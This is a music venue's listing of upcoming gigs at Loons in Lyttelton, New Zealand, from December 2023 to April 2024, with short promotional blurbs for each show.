The first of three unique shows performed by Jed Parsons this December - the world premiere of his children's music alter-ego 'Jeff Parsnips'! Doors: 3pm Show: 3:30pm Duration: 40 minutes Jed Parsons has nothing to prove. If he did however, he’d make a spectacle of it at Loons in Lyttelton, where he would perform 3 entirely unique shows over the span of one summery month. Purely coincidentally, that is exactly what is happening this December. The ‘Jed Parsons: Loonatic!’ series…
Find out more »Loonatic Series: Jed Parsons
The second of three unique shows performed by Jed Parsons this December. The indie singer/songwriter version of Jed Parsons is back with a brand new band, brand new vibe, and a big bunch of brand new songs (scattered amongst the old favourites). Expect an intimate and mellow evening of story telling, lush arrangements and harmonies as Parsons premieres the new stuff. Doors: 7pm Show: 7:30pm Jed Parsons has nothing to prove. If he did however, he’d make a spectacle of…
Find out more »Cloudboy at Loons
Cloudboy fans will be able to experience the full glory of Down at the End of the Garden performed live throughout Aotearoa, in intimate seated venues, enveloped by Cloudboy’s master musicianship and a densely-textured, immersive full-length film. Cloudboy’s touring band is comprised of Demarnia Lloyd (vocals), Craig Monk (violin, guitar, synth), Johannes Contag (guitar, flute, bass), and original drummer Heath Te Au; live visuals created by Ōtautahi Christchurch-based photographer/film-maker Stuart Lloyd-Harris. Don’t miss experiencing this incredible classic album live! Down…
Find out more »Cloudboy
On Record Store Day 2023, Dunedin’s dream pop originators, Cloudboy, released their remastered, revered 2001 album, ‘Down at the End of the Garden’ on vinyl for the first time, with the limited edition selling out nationwide. Now fans will be able to experience the full glory of Down at the End of the Garden performed live throughout Aotearoa, in intimate seated venues, enveloped by Cloudboy’s master musicianship and a densely-textured, immersive full-length film. Called a “wildly ambitious record...fearless and far-reaching”…
Find out more »Quicksand New Zealand Tour
Waxstar Touring & Valhalla Touring are proud to present QUICKSAND – Australia & New Zealand Tour 2023, joining Quicksand in Christchurch will be PIECES OF MOLLY & DISTANCE. Quicksand is a legendary American post-hardcore band formed in 1990. Hailing from New York City, the band’s current lineup consists of Walter Schreifels (vocals and guitar), Sergio Vega (bass), and Alan Cage (drums). Quicksand gained recognition in the early ’90s for their unique blend of alternative rock, punk, and metal, delivering powerful…
Find out more »Mel Parsons
In celebration of her new single (out Nov 17) Mel Parsons announces a one-off headline show in Lyttelton with her fabulous band this December. Parsons will be fresh off the road from playing support on the 5-date sold out Teskey Brothers tour, and brings an evening of sublime vocal harmony, a sneak preview of her forthcoming new record along with some of your faves from previous releases. The show will be trio format, with Josh Logan on bass + backing…
Find out more »Loonatic Series: A Very Jed Parsons Christmas
The last of three unique shows performed by Jed Parsons this December - the festive extravaganza, A Very 'Jed Parsons' Christmas! Doors: 7pm Show: 7:30pm Jed Parsons has nothing to prove. If he did however, he’d make a spectacle of it at Loons in Lyttelton, where he would perform 3 entirely unique shows over the span of one summery month. Purely coincidentally, that is exactly what is happening this December. The ‘Jed Parsons: Loonatic!’ series will feature the debut performance…
Find out more »Santa’s Bass Bash With Tom Cosm, Calla, Confusiohm, And Cecil Turbine
The jolly red man demands you to party. Do not disappoint Father Ravemas. Dress code: Santa AF Tom Cosm will be there, beard n all, to lay down a genre-smashing silly-season party set. Calla will grace the stage with her epic, ethereal, live bass music. Cecil Turbine will enchant us with his hypnotic, heartfelt, shoegazey post-punk goodness. And Confusiohm will close up the night with one his wildly variable bass music journeys.
Find out more »January 2024
Obituary
OBITUARY remains to this very day as one of the most influential and groundbreaking bands in the death metal genre, one which they helped to create. Combining hyper-speed guitar riffing, complex arrangements and guttural screams, the band created a bleak and violent soundscape all of their own. After more than 35 years in the pit, OBITUARY continues to peak and dominate the genre worldwide. That’s a given and proven fact! With the memory of 2020’s sold out ‘Cause Of Death’…
Find out more »Big Sima x Boomtown Pluto Summer Tour
This summer the self-proclaimed road warriors, Big Sima & Boomtown embark on their 3rd consectutive tour in 12 months, celebrating their second collaborative release 'Pluto' they hit the road for 6 dates throughout Aoteaora. If you're down on some, boom bapping, brass driven live hip hop, laiden with tasty guitar licks and funky breaks and riddim, this show is not to be missed - with an eclectic mix of genres all rolled into 90 minutes this 8 piece ensemble is…
Find out more »S.E.I.S.M.I.C, The Release Of Evil Eye
Musical martians S.E.I.S.M.I.C unleash their hot new single “Evil Eye” Come along to their cosmic party for a night of fun, including: 5 Live bands ✅ Space Aliens ✅ Hectic lights ✅ Space lasers ✅ Headliners S.E.I.S.M.I.C will be playing an otherworldly set featuring songs old and new, with support from planet Earths finest acts: Papa Odyssey By Tomorrow Jam Henderson Witchcult $20 On the door or online @UnderTheRadar
Find out more »February 2024
Eyeliner / Problems / Michael Logie
PROBLEMS is weirdo, fun, dance music stuff. I used to do the one person band The Show is the Rainbow. PROBLEMS has done releases on Orange Milk Records (Machine Girl / Deaths Dynamic Shroud / Eyeliner), played Meow Wolf with Dan Deacon, and opened for Peaches, Lighting Bolt, and tons of others. Michael Logie (ex Mint Chicks / F in Math) is an electronic musician from Auckland, New Zealand. Michael Logie’s debut EP “FKD Night” is a collection of synth…
Find out more »Calexico – Feast Of Wire 20th Anniversary Tour
BANISHED MUSIC & STRANGE NEWS TOURING PRESENT: CALEXICO Feast Of Wire 20th Anniversary NZ Tour - February 2024 Friday 9th February - Opera House, Wellington Sat 10th February - Loons, Christchurch Sun 11th February - Powerstation, Auckland Banished Music Pre-Sale - Friday October 27th, 10AM General on sale - Monday October 30th, 10AM Tickets from www.banishedmusic.com Boy oh boy, do we have some scorching hot news for you? Tucson, Arizona’s favourite sons, Calexico, are finally making their long-awaited return to…
Find out more »Great Gable – Aotearoa Tour
Following a massive 2023 Great Gable are kicking things off in 2024 with another lap around New Zealand! Theyll be back in the land of the long white cloud with some brand spankin new tunes and the same killer live show. Tickets to all shows are super limited so get in quick!!
Find out more »Craiglist: Music Factory Vol. 1
Celebrating three years of Craigslist; music all night at The Loons (Lyttelton) across two stages, featuring bespoke production, an immersive light show, special effects and hi-fi sound.
Find out more »Monk Seals Single Release!!
Its been 4 months since your favorite band have taken the stage and crickey dick are they ready to get back up there. Who better to experience taking back the stage with than their best mates in the music scene, up and coming rap duo Champion Sound and long time big dogs in the canterbury music scene, Lunar Intruder. This show is located at the Loons in the music capital of Canterbury, Lyttleton. The Loons is known for its amazing…
Find out more »Hot Mulligan (usa) ‘Why Would I Watch’ NZ Tour 2024
Michigan Midwesterners Hot Mulligan announce they will make their long-awaited trip to NZ shores in March 2024 for their first ever string of NZ shows. Hot Mulligan have a way of manifesting things into existence, whether it’s name dropping Michelle Branch and Mark Hoppus in song titles and netting responses from both (only one got the joke) or, true to their word, becoming synonymous with the newest wave of pop-punk and emo. Since forming in Lansing, Michigan in 2014, the…
Find out more »March 2024
Mystic Nights
Yumm Productions and the Silk Collective Mystic Nights Featuring: Harry Charles, Mia Kober, DirdyGerdi and more.... The Silk Collective and Yumm Productions presents Mystic Nights An evening of musical delight at The Loons, Lyttelton. Step into an enchanting experience at Mystic Nights and immerse yourself in the mystical realm of sound and rhythm. At the helm of this sonic experience are NZ-based artists Harry Charles (live), Mia Kober & DirdyGerdi. This is a night to celebrate the power of movement with music.…
Find out more »Somebody Do Something And Calla
It's been almost a year, and SDS is back performing in their hometown of Ōtautahi! The crew will be weaving their soulful, funkesque, art pop & alt-rock for your soles and souls to get moving to. The evening will also feature special guest Calla coming from Auckland for the evening ?
Find out more »Club Unique 10
Club Unique are excited to host our first party in the Loons Basement in celebration of our recent EP release from Bahns - OT.IN.THE.03. --------------------------------------------------------------------- Techno and techno-adjacent all night long from: BAHNS BIANCA TREESÈ INFORDIN KEANU RAVES B2B PROTECTIONSPELL Audio provided by 103 Soundsystem. --------------------------------------------------------------------- 9pm - 2am || Saturday March 30th || Loons Basement, 16 Canterbury Street, Lyttelton Club Unique is dedicated to creating a safe and inclusive environment for everyone to enjoy. Look after yourself and your…
Find out more »April 2024
Newton Faulkner
Newton Faulkner, the acclaimed singer-songwriter known for his soulful melodies and captivating performances, is gearing up to embark on a thrilling tour across New Zealand. This highly anticipated tour promises to bring Faulkner's unique blend of folk, blues, and indie rock to fans in a series of unforgettable live shows. The tour will kick off on Thursday 4 April at Loons in Christchurch, before heading to Meow in Wellington on Friday 5 April and Galatos in Auckland Saturday 6 April, treating audiences to an intimate and immersive musical experience. Newtown Faulkner's soul-stirring vocals…
Find out more »Earth Tongue NZ Tour
UTR Presents Hot and sweaty off the stage having supported Queens of the Stone Age, Earth Tongue, the brainchild of guitarist Gussie Larkin and drummer Ezra Simons today announce a four date tour of Aotearoa. April 5th Loons, Christchurch April 6th Feastock, Dunedin April 12th San Fran, Wellington April 13th Whammy, Auckland The duo, known for their heavy flavour of fuzz-soaked psychedelic rock, are also pleased to unveil their signing to In The Red Records, (Thee Oh Sees, Fuzz, The…
Find out more »Carcass with The Black Dahlia Murder
Ferocious and uncompromising in their execution, CARCASS’s ability to intricately dissect the innards of death metal, and display them for us to sonically understand has been their point of excellence for well over three decades. Whether it was inventing gore-grind or creating the template for melodic death metal, CARCASS has always made records by which bars were set and rules were broken. Since 2001, THE BLACK DAHLIA MURDER have created a musical brute that embraces all the finest qualities of…
Find out more »SKYMNING X ANDWAHN: SOUTHERN $MOKEOUT 420 EVE
BANKS PENINSULA STEPPAZ CULT X BANKRUPT RECORDS X THE BIG FRESH COLLECTIVE join forces to bring you: ~~ Flying the one-and-only Skymning down for their South Island debut, along with brother Andwahn—bringing their signature, sultry breakbeat tones to Banks Peninsula's most dimly-lit turf; The Loons Basement—for what is set to be an evening of full spectrum sounds powered by the 03's newest paraflex soundsystem; HEAVENLY CREATURES. The Steppaz Cult & affiliates are joined by a small army of Ōtautahi's finest sonic…
Find out more »There’s a Tuesday x Kitschen Boy Tour AUS/NZ
There’s a Tuesday (NZ) and Kitschen Boy (AU) announce their joint New Zealand and Australia tour coming this April and May. With both bands on the brink of upcoming releases, they will be hitting New Zealand in April (Auckland, Wellington, Christchurch) and Australia in May (Melbourne, Sydney, Brisbane) and will be combining forces for the first time to bring you an electrifying show not to be missed. There’s a Tuesday consist of high-school besties – front-women Minnie Robberds and Nat…
Find out more »Suffocation
New York death metal legends SUFFOCATION unleash their ninth full-length album, Hymns from the Apocrypha, via Nuclear Blast. The follow-up to ...of the Dark Light (2017) pushes founder Terrance Hobbs (guitars), Derek Boyer (bass), Charles Errigo (guitars), Eric Morotti (drums), and newcomer Ricky Myers (vocals) to the very edges of extremity and is arguably the groups strongest-sounding, most sonically punishing album yet. SUFFOCATION have achieved death metal perfection. SUFFOCATION were founded in Long Island, New York, in 1988. Since then,…
Find out more »Metamorphosis
Metamorphosis is a fundraiser event to raise money and awareness for suicide prevention in Aotearoa's music community. Many people in the music scene have been affected by the loss of friends or whānau at some point recently. We think it’s time to come together and support each other and the wider public by using the collective energy that makes the music community so inspiring and resilient. Music is a lifeline, music connects, and music heals – come join us for…
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